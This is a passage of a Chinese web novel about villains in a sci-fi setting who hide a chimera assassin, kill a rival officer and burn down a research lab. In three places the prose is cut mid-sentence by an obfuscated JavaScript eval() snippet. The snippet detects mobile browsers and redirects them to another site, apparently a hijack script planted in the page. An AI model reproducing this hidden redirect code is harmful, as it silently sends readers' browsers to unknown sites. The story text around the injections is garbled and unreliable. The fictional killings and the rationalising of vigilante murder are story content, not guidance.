“他是个人造人,谁知道脑子里有没有被写入什么程序,”尼尔森对加内特的不信任明晃晃写在脸上,“而且他还有那样一张脸,根本经不起搜索。我们不能放任他单独行动。” “你要把他藏起来?”钱雨青低头翻看着加内特的检测资料。 “是我们。你来做,”尼尔森不客气地说,“我知道你很擅长隐藏。等希尔维亚反应过来,她一定会彻查和我有关的势力。罗德里格斯在漩涡之心扎根多年,情报网重床叠架、无孔不入。他不能和我有关系。” 尼尔森向来懂得蛰伏的道理,进入军队这么多年来,从未对任何人吐露过自己最深的目的。 他对外的形象以狡猾多变著称,明面上对生物研究方面没有任何了解的兴趣,但深知科技成果能够带来的利益,常年对此保持着关注,还会给自己看好的项目投资。 但他或许懂得战争,却绝对不懂科研,投资眼光比瞎子好不了多少。 许多研究所都从他手里捞到过经费,算是十分受欢迎的冤大头金主之一。 这种作风降低了他的嫌疑优先级,但希尔维亚怀疑上他是迟早的事。毕竟,尼尔森与卡尼利恩曾经的关系并不是秘密,他的出身就是天然的最大破绽。 不得已之下,他将加内特丢给了钱雨青。 钱雨青是卡尼利恩的盟友,还是个突然冒出来的透明人。 清楚尼尔森与钱雨青之间真正的联系的人只有当初的摩勒舰长一个,就连同时认识两人的方媛,也只是简单粗暴地认为钱雨青是尼尔森的朋友而已。 “感谢你对我能力的肯定,但很遗憾,他恐怕用不了我的方法,”钱雨青放下资料,“虽然我离你很远,但离卡尼利恩太近了,别把视线引到我身上来。” 她扭头问加内特:“这可是在讨论你的去处。给点建议?” 坐在角落发呆的加内特呆呆抬头:“我……没意见。” 站在桌边看他的两人对视一眼,尼尔森说:“他的基因缺陷是不是智力方面的?” 钱雨青说:“拜托,对孩子耐心一点,温柔一点。按照苏醒时间来算,他的真实年龄满打满算才三四岁。” 尼尔森下意识反驳:“这不是借口,有的种族就是速生种。” 比如部分虫族。 军队最喜欢拿这些生死匆匆的种族来当最底层的蹚雷耗材。 钱雨青说:“那你来教。” 尼尔森立刻不说话了。 就是这种时候钱雨青才格外想念好人。至少他们有事真的第一个上,而不是像坏蛋们一样,在这里扯权责问题扯到天荒地老,一看进度,居然是0耶! 好在,尼尔森在有关卡尼利恩的问题上比钱雨青更急,就跟更洁癖的人总在宿舍率先打扫一样,这件事他不扛也得扛。 “我们现在的主要对手是希尔维亚,”钱雨青说,“你觉得她的水平如何?” 尼尔森略一思索,答道:“聪明,自负,易急躁,缺乏经验,抗压能力一般。” 钱雨青问:“你是她的同僚,她会向你求助吗?” “现在不会,她不想太早对我‘认输’,”尼尔森理解了她的意思,心中同样盘算起来,“还需要继续加压。” 希尔维亚面对战功赫赫的尼尔森,心里既有羡慕,也有隐秘的自卑。她已经犯下大错,会下意识排斥再次向家族求救的选择,如果事态在短时间内再度失控,她很有可能去抓身边唯一的稻草。 “如果杀手再次行动,你觉得谁会是下一个目标?”钱雨青问。 尼尔森调出一份档案:“警局的外包职员之一,实际上是罗德里格斯暗中安插的钉子。只针对一人的挑衅。” 钱雨青点头:“有不光彩的前科?很好。” 尼尔森轻描淡写:“不然也不会铤而走险,给权贵卖命。” …… “或许现在我们可以谈谈别的,罗德里格斯少将?” 办公室里的氛围陡然变得凶险,希尔维亚的表情狰狞得可怖,双手撑住桌面,俯下身:“你知道了什么?” 尼尔森镇定自若地卷起资料,在掌心“啪啪”拍了两下:“我没兴趣去擦你的屁股,但不介意帮你解决一个难题。利益交换,如何?” 不知希尔维亚从尼尔森脸上看出了何种端倪,她的情绪总算平静些许:“你知道我从不出尔反尔,我现在没心情兜圈子。直接说吧。” 尼尔森从善如流:“如你所猜测,笑脸杀手是一名神眷者。那种脸上带笑的诡异死法是他的能力,一种无法检测的神经毒素,但并非不可复制。我已经审讯过他,他自称是为了‘执行正义’才杀人,和里弗的研究员身份不沾边,所以第二次他才将目标定为了收受贿赂的警员。” 巨大的屏幕亮起,相貌平平无奇的男人被捆绑在铁椅上,双眼紧闭,像条白色的毛毛虫。他身前的铁笼子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470873|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里关着各种已死的实验动物,每一只的脸上都像笑着一般嘴角上翘。 希尔维亚蓦地看向他:“我怎么知道这不是你自导自演?” 尼尔森无语回望:“你的意思是,以你对我的防备程度,我一直在罗德里格斯的大本营调查你们的研究所,杀掉你们的研究员,你事先却半点没发现?我倒是想问问,你为什么一直怀疑我?我有非要入侵你们研究所的理由吗?” 光是自尊心就能让希尔维亚哑口无言,更何况这其中还夹杂着心虚。 尼尔森打开另一处界面:“奥卡斯·琼安,笑脸杀手的委托人。她是个遭受了里弗长达两年骚扰的女主播,在忍无可忍后委托黑客雇佣了一名杀手。她没有太多钱,所以选择委托要价最低的新人,而在她下达委托的当晚,笑脸杀手出现。这不是一场精密的谋杀,你要对付的窃贼藏在杀手的影子里,没有真正现身。” 希尔维亚不语。她知道,接活的杀手可没本事伪装约翰·里弗四天不被发现,这是必须长久观察过才做得到的事。 “黑客呢?” “跑了,”尼尔森不甚在意地说,“它把杀手的信息出卖给我,也卖给了别人。啊对了,据杀手所说,第二单委托是线下交易,但他不知道对方的身份。” 希尔维亚有些大脑过载——只有她知道实验体遭窃,将调查重心全力放在“杀手是窃贼”的思路上,反而疏忽了这两者实际上不相干的可能性,让闷声不吭的尼尔森抢了先。 现在他已经抓到了自己想要的神眷者,准备退场了。 家族委派的协助人已经在路上,希尔维亚没有多少时间了。如果笑脸杀手本身不重要,她必须尽快转换调查的思路。 尼尔森不管她的头脑风暴,自顾自地说:“他的新名字是加内特,我的下属。既然你遵守承诺,就帮忙把他的信息扫干净,从此之后,‘笑脸杀手’就是你的了。希尔维亚,我必须要强调,我只愿意和你做交易,如果你仅仅是罗德里格斯,我什么都不会说。这是我们两人之间的秘密,别让我失望。” 希尔维亚咬紧牙关,有些气急败坏地说:“我知道!” 她对尼尔森的要求并不感到奇怪。自从神眷者出现后,各个派系最喜欢做的事之一就是拉拢和饲养神眷者。他们诡谲的能力为暗中活动提供了极大的便利。 她已经不是会大喊“杀人凶手必须付出代价”的蠢孩子了。既然尼尔森帮了她的忙,区区一个神眷者,给了便给了。反正“笑脸杀手”的名号今后捏在她手上,她就能以此为借口进行搜查。 她绝对要把实验体找回来。 38. 神眷者 “加内特是奇美拉,”基因检测报告出来后,尼尔森对钱雨青说,“他果然是卡尼利恩的杰作。“ 十七年前,卡尼利恩遇袭。 由他主导的研究项目,连同阶段性成果一同落入敌人之手,重建为如今的罗德里格斯生物研究所。加内特是他的最后一个作品,同时也是最完整,最接近成功的作品,至今无法被超越。 也正因如此,无论研究所内部怎样憎恨那张阴魂不散的脸,又怎样因“防伪标识”害怕秘密泄露而心惊胆战,加内特还是活了下来。他必须活着。 目前星际社会最主流的基因改造,被称为“嵌合”。即在原型智人的基础上添加其他物种的基因片段,为成体增加原本所没有的能力。 最典型的就是虫族的生存和繁育能力。它能够确保个体在极端严酷的环境下有着更高的生还几率,是作为探索陌生星球的调查员的不二选择。但也因为种族差距过大,虽然外壳能在两三年内迅速成熟,但虫人的整体寿命普遍在30岁以下,是有名的短寿种。 与虫人相比,鸟类就受欢迎许多。绝佳的视力和轻盈优美的身体线条让鸟人在其他人种心中获得了极大的心理接受度,甚至有许多体育界人士专门给孩子定制鸟类基因,想要获得先天优势,这种作弊思维的泛滥导致体育竞赛不得不单开一门纯智人竞技。 但随着纯智人的减少,最终被归入了残疾人竞技,已经几乎没有人看了。 与此差不多的还有鱼类与食草动物,都是各有各的优势区间,各自受到不同群体的喜爱。 而真正有着巨大争议的部分,是捕食者基因的改造。 几乎所有人都觉得,老虎远比老鼠帅气,狮子远比绵羊潇洒。 人们赞扬其他人的温驯,又批判着自身可能遭遇的被温驯。早在基因嵌合的概念被推出时,就有许多人迫不及待地想要成为更具攻击性的种族。但由于几乎所有嵌合种都在被改造后展现出了不属于人类的习性,对于猛兽和猛禽之类的改造明面上一直是禁止的。 但最先出事的却是鲜有人察觉的地方——猫的基因。 与狗相同,猫也是基因改造的热门选择。先不提相貌美萌、四肢灵活的问题,光是长出猫耳朵猫尾巴就是许多少男少女中二期的经典幻想之一,以至于许多人忽视了猫作为小型捕食者的本质。 有时候,人在社会中能呈现出来的窝囊程度是自然界中的任何一种动物都难以置信的。在移植了猫的基因后,有人终于在压抑的现实生活中放飞天性,接二连三地狩猎了自己的同事或同学。 而很不幸的是,猫是一种很喜欢玩弄猎物的猎手。于是,这些出事的案发现场都相当惨不忍睹,同样足以让许多窝窝囊囊的人类做噩梦加呕吐。 口子一旦被撕开,接下来便是泛滥。 谁也不会大张旗鼓地宣传自己嵌合了什么非法的种族基因,但等老实人反应过来的时候,大街上已经一大堆违禁人种了。 而比有人想要利用凶悍种族的基因高人一等更糟糕的是,嵌合的基因可以遗传,甚至还会导致生殖隔离。狗与狼可以杂交,狮子与老虎有可能杂交成功,但蟑螂和猫就基本不可能。 到最后,社会治安只能依靠个体素质和物理隔离维持。虽然没有严峻到弱势种族露头就秒的程度,但正常出行必然要支付更高的安全成本和心理压力。 “嵌合的逻辑是添加和覆盖,但若是反向剔除就会引发结构崩溃,”尼尔森指向钱雨青完全看不懂的图示,“加内特的基因集众族之长,在不可能的可能中实现了平衡,这是一个奇迹。他们居然觉得加内特仍然是残次品?” “他们抢夺卡尼利恩的成果自己研究……是想要搞奇美拉垄断?”钱雨青问。 “毕竟奇美拉比普通嵌合种要强大得多。如果人人都拥有某种力量,它便不再特殊了。” 然而卡尼利恩出事后,这份研究便陷入了凝滞,把泡罐子泡了十几年的加内特都硬生生泡醒了。 “我突然想起一件事,卡尼利恩以前是不是完全不相信神的存在?”钱雨青问。 尼尔森点头:“他一直坚信一切都是科学,一开始总说神眷者是一个惊天大骗局,后来又觉得系统同样是科技的产物。他觉得系统发布任务让宿主完成,遵守规则就能获得奖励的那套说辞很可笑。” 钱雨青摊手:“那我可真要说神很恶趣味,卡尼利恩现在成了神眷者。” 要不是逆袭系统捞了他,他从出车祸那天起就死得不能再死。搞了半天,原来逆袭是主神的逆袭,因为卡尼利恩现在完全信仰崩塌,不得不相信神的存在了。 很符合她对前上司的认知。 尼尔森讶异道:“你们之前没有跟我说!” “刚刚不是说了嘛,”钱雨青环抱双臂,“看来他们对实验体的最后一步改造就是植入系统。” 如果能够大批量产可以使用系统的奇美拉,整个位面恐怕都能横着走。她上次在主神空间看到这种设定…… 钱雨青一顿:“我好像知道主神给你们位面安排的未来是什么了。” 位面的性质是会改变的。就像把赔钱的狗血豪门位面无缝换成末日逃生位面,一个不停抓捕系统和宿主,妄想染指神的权柄的星际位面,主神是一定会报复回去的。 钱雨青笑起来,问尼尔森:“你知道什么是第四天灾吗?” 只需要在某个异世界制作一个花里胡哨的网页界面,主神的雇佣兵就会按下鼠标,源源不断地赶来。 可以随意塑造种族比例,皮糙肉厚、回血水平一流的奇美拉身体,稀奇古怪又能力超群的系统批发,再加上不知苦痛、不知疲倦,对长得异类的土著居民毫无同理心的玩家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470874|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂。 如果第四天灾真的涌入这个位面,这里的所有人都将在无穷无尽的绞杀中看到他们的天启。 “要打赌吗?希尔维亚会抓紧时间开启最后一轮实验,这次她一定会成功,”钱雨青说,“看,有神存在的世界就是那么无聊,你无需揣测命运,只要多琢磨琢磨祂就足够了。” 尼尔森张了张嘴,又徒劳地闭上,在这一瞬间,他的心中涌起一股淡淡的荒谬感。他应该对神感到愤怒的,但却只感觉到胃在下坠。 “这太荒唐了,”他最后说,“如果不是亲眼所见,没有人会相信。” 就算赌上尼尔森作为少将的名誉,就算赌上整个莱茵家族,他的疯话也只能得到嘲笑和讥讽。他甚至想问钱雨青,难道疯的人真的不是你吗? 这难道不是毫无证据的猜测,不是你无来由的直觉? “这就是先知的悲哀呀,小卡珊德拉,”钱雨青摸了摸尼尔森垂下的头,“阻止预言的发生,你就是千夫所指的疯子,放任预言的实现,你就是用整个世界给自己陪葬的狂人。” 距离罗德里格斯的协助者到来的时间已经不足半月,希尔维亚的最后一次实验一定已经开始了。主神向来自有安排,只要有任何一个玩家成功落地,即使被瞬杀劝退99%,也一定会有吃饱了撑着的1%在未来不辞千辛万苦一次次出现。 这个看似繁荣的位面已经踏在悬崖的边缘,离毁灭只差一步之遥了。 “有时候想当个坏人其实还挺难的,对吧?”钱雨青说。 “……”尼尔森睁开眼睛,“我刚刚和希尔维亚摊牌不久,她对我的防备会在短时间内降到最低。但只摧毁最后一批实验体并不保险,我们要把实验器材、实验资料,以及研究员和科学家一网打尽,最好是摧毁整个研究所。” “噢,好坚决。”钱雨青赞叹。 “你以为我是谁?”尼尔森反问,“希尔维亚已经抹除了加内特的资料痕迹。她知道我们在这之中参与的部分,保险起见,一同清除。” 这之后的清洗一定还会牵连无数,好在希尔维亚死后,漩涡之心分部就是他一人说了算。加上能力至今未知的钱雨青,半个月时间,足够他们把自己的脏手洗干净了。 钱雨青挑眉:“你就不担心我在胡说八道?” “杀错人?我不在乎,反正她只是个罗德里格斯。我发过誓要让那些人付出代价,”尼尔森毫不动摇,“我们还需要一个凶手。” “现成的。” 尼尔森点头认可:“还有艾德里安舅舅。清洗结束后,我会联系他。” 如果尼尔森直接要发神经,艾德里安一定会阻止他,但如果尼尔森已经发完了神经,那艾德里安一定会包庇他。因为尼尔森姓莱茵。 商议完毕,钱雨青拍拍手:“接下来就是加内特登场的时间了。” 39. 反派的美德 “越是要干坏事的人,越要注意自己的道德资本。”钱雨青说。 她正在厨房,端着小塑料盒吃切得大小不一的西瓜,旁边的加内特则系着围裙,用生疏的姿势握着菜刀,满脸严肃地慢慢将番茄切成丁。 “笑脸杀手”的传闻在漩涡之心炒作得沸沸扬扬,无人知晓这个身份曾经倒过一回手。人们只知道,和普通的杀手比起来,这位不管人死活的新网红作案的速度实在是过于快了。 “它就应该被叫做屠夫,”有主播大声抱怨,“有谁会每隔一两天就整新活的啊?警察追在后面,甚至摸不到它的脚跟!” 评论区挤满嘻嘻哈哈的回帖,说她可能就是下一个目标,理由是偷税漏税。 于是她大声求饶道:“别杀我别杀我,我是好人!” “我本来就不会杀她,”加内特将蕃茄丁放进碗中,“她也并没有真的害怕。她在干什么?” “赚钱,”钱雨青换了另一个直播间,里面正在对笑脸杀手大加批判,顺手点了个赞,“对你的形象有好处。” 加内特小心翼翼地拿起鸡蛋,在碗沿磕了磕,钱雨青指挥道:“别把蛋壳掉进去,手指别太用力。” 新生的奇美拉对自身的掌控力真是烂爆了。 大概是缺乏人类基因带来的本能,在研究所里醒来后又没有人教,仗着自己身体素质突出,加内特的行为模式非常原始。他有时走路都懒得转弯,眼睛也不睁,走着走着就伏在地上,只知道直挺挺往前爬,脑袋瓜能把小沙发哐叽撞到一边。 上夜班的时候更是大力出奇迹,尾巴上的毒液不要命地往目标身体里注射,要不是钱雨青及时把他拖开,差点把目标硬生生腐蚀出一个大洞。 于是两位教练只好连夜赶制一套大龄儿童训练方案,内容从格斗一路包揽到折千纸鹤,务必让他尽快有个人样子。钱雨青还额外给他加了一门做菜课程,原料从方媛那里薅。 “形象,什么形象,杀人狂的形象?” “客户群体明确的老实社畜形象,”钱雨青探头看加内特搅打蛋液大手法,欣慰地点点头,“如果你是个在街上无差别杀人的疯子,所有人一定对你大力批判,但如果你只杀恶贯满盈的人,大多数人又愿意支持你了。” 重要的知识点要说三遍,拳头打不在自己身上的时候,人是不会感觉疼的。不仅不疼,还会觉得其他叫唤的人很吵。 如果一个杀手只杀男人,那女人们就不会害怕它;如果一个杀手只杀富人,那穷人们就不会害怕它;如果一个杀手只杀有罪之人,那自认无罪的普通人就不会害怕它。 噢,当然当然,为了迎合正确性,大家都会大声说“无论如何杀人就是不对的”,“不可以动用私刑”!但是,这件事重要的不是对错,而恰恰是在事态真正失控前,人们不害怕它。 所以,想要当个受欢迎的好杀手,最重要的是不被警察逮住,第二重要的就是学会遏制民众的恐慌。 这是道德资本,也是筹码。 “为什么当杀手还要受欢迎……”加内特学着方媛热情写下的食谱,一个指令一个动作,起锅烧油,把锅晃得哐当哐当响。 钱雨青答:“因为我们不是正经杀手,而是反派啊。” 当杀手只需要业务能力强,但当反派要考虑的可就多了。当初钱雨青在她自己的起源世界,就是搞到最后差点与世同休,还得是人设立得好,被提拔进了无限流世界当BOSS,硬是苟住了一条命。 主神需要的是戏剧性和反差。 规则对反派在道德方面的限制固然比较小,但分数一旦跌破底线,结果也不是闹着玩的。要不怎么说主角最喜欢的祭天对象就是纯恶类型的反派。 他们祭的是什么天?当然是规则这个天。 虽然硬要往这方面发展也不是没有成为经典角色的可能,但从出头的概率来说,敢走这条路的狠人都约等于在玩行为艺术,还是当美强惨稳妥。 加内特想了想,问:“什么是规则?” 钱雨青摇手指:“不可说不可说。规则才是整个世界真正权威的神,千万不能被祂讨厌啊。” 加内特若有所思,一边翻炒番茄,一边点头。 他觉得炒菜和上夜班也没什么区别。 都是备菜、煮菜、摆盘。吃饭时间就那么几分钟,最烦的反而是洗碗。 他没办法像钱雨青那样娴熟地躲避路人的目光,也不知道怎样叫做隐蔽,每次上班都会在工作地点留下海量的痕迹。如果不是有口袋导师随时指导,他早就查了个底朝天,被经典款黑白车车接去铁窗泪了。 钱雨青说:“你炒反了,先炒鸡蛋。” 回神的加内特倒吸一口凉气:“怎么办怎么办!” “凉拌。你把番茄拨到旁边,鸡蛋液倒在最中间,定型了再翻试试。” “……糊了。” “你自己刷锅。” 既然是筹码,那就总有花出去的一天。 罗德里格斯生物研究所的消失是静悄悄的,它的秘密,知晓它秘密的人们,连同希尔维亚·罗德里格斯一起葬身于火海。因为其中的保密措施太过高级,封门封得彻底,愣是什么异常都没有传出来,直到希尔维亚旷工好几天后,才有人后知后觉。 尼尔森没有半点反应,直到命令发到他面前才慢吞吞地动起来。 “晚上好,艾德里安,听说漩涡之心最近发生的事了吗?” 同样是金发蓝眼的艾德里安的脸上没有挂着新闻报道里他那招牌一般平易近人的微笑,用缺乏起伏的语调质问:“你指什么,把你们耍得像笑话的‘笑脸杀手’,还是失踪的希尔维亚?你们这段时间究竟在干什么?” 尼尔森去漩涡之心本来就是惩罚式的降职,他不懂夹紧尾巴做人,就必定要吃更大的苦头。 “该问问题的人是我,”尼尔森直截了当道,“和我说真话。你知道卡尼利恩的下落吗,舅舅?” 他的答案将会决定等会儿尼尔森丢给他的烂摊子大小。 艾德里安从他的态度中察觉到了危险,沉默半晌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475901|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答道:“我不是一开始就知道,尼尔森,我没有愚蠢到把刀对准自己的家人。但卡尼利恩从未对家族说起过他的研究,一次都没有。等我知道的时候一切都晚了,我能做的只有想办法尽可能夺回他的成果……” 所以就是知道,而且默许了。 真好,完全不出他所料。 尼尔森说:“杀希尔维亚的人是我,毁了研究所的人也是我。罗德里格斯的人已经快到了,你也可以抽出一点宝贵的时间想想自己该怎么做了,舅舅。” 有时候,人的变脸就在一瞬间。 艾德里安的声音高了至少八度:“你什么意思?!” 尼尔森挑挑拣拣地和他说了一些,将钱雨青和加内特的存在隐瞒了过去,只说自己找到了有关卡尼利恩的线索,暗算了罗德里格斯。 艾德里安没想到一向低调又省心的外甥能闷声不吭地给他整出这种等级的篓子,整个人都在发抖:“你在做事前难道从没想过后果吗?!” 尼尔森答:“我不需要想,我马上就要看见后果了。” 另一边,钱雨青正在看奥卡斯的直播回放。 一段时间不见,摆脱了最顽固黑粉,又搭上了方媛的线的奥卡斯终于时来运转,先是做吃播做得风生水起,连带着听歌的观众也多了许多。 “我不讨厌笑脸杀手,”她一边咯吱咯吱地吃醉虾醉蟹一边说,“我又没干过坏事,它不会杀我。” “我怎么知道?我就是知道!你们想想吧!如果他们没有死,在这之后又会害得多少人家破人亡?他们会被惩罚吗?用一条脏命来换无辜的人的幸福有什么不好?” 口无遮拦的风格倒是一点没变。 谢守光和她提起过,在那天之后奥卡斯又找了他好几次,还想再下几单。但没了宿主强按头,系统乌鸦是绝对不会做这样的事的,遂用相当不委婉的态度秒拒了。 但从后续对目标清单的追踪来看,奥卡斯还是坚持不懈地找了其他人,成功送目标归了西。 “都是她的黑粉?” “不全是,也有她刷新闻看见的讨厌的人。” “这算见义勇为吗?” 谢守光说:“别逼我骂你。” 钱雨青做出了:p的表情。 通讯器突然响起来,钱雨青随手点开,奥卡斯有些沮丧的脸便跳了出来。 “怎么了?”钱雨青问。 “我和方媛吵架了,”她忧郁地说,“她觉得我不该支持笑脸杀手。” 奥卡斯的支持对于守序善良的方媛来说还是太激进了。她们虽然都是世界和平派并因此相见恨晚,但实际上,和平与和平之间亦有差距。至少方媛觉得,“英雄”这种名号不能放在一个只知道制造凶案的疯子身上。 因为它对猎物挑食就进行推崇还是太荒谬了些。 奥卡斯充满暗示地看着钱雨青,钱雨青毫不客气地答:“你跟我说也没用,我又不是笑脸杀手。” 现在已经不是了。 奥卡斯沉默地结束了通讯。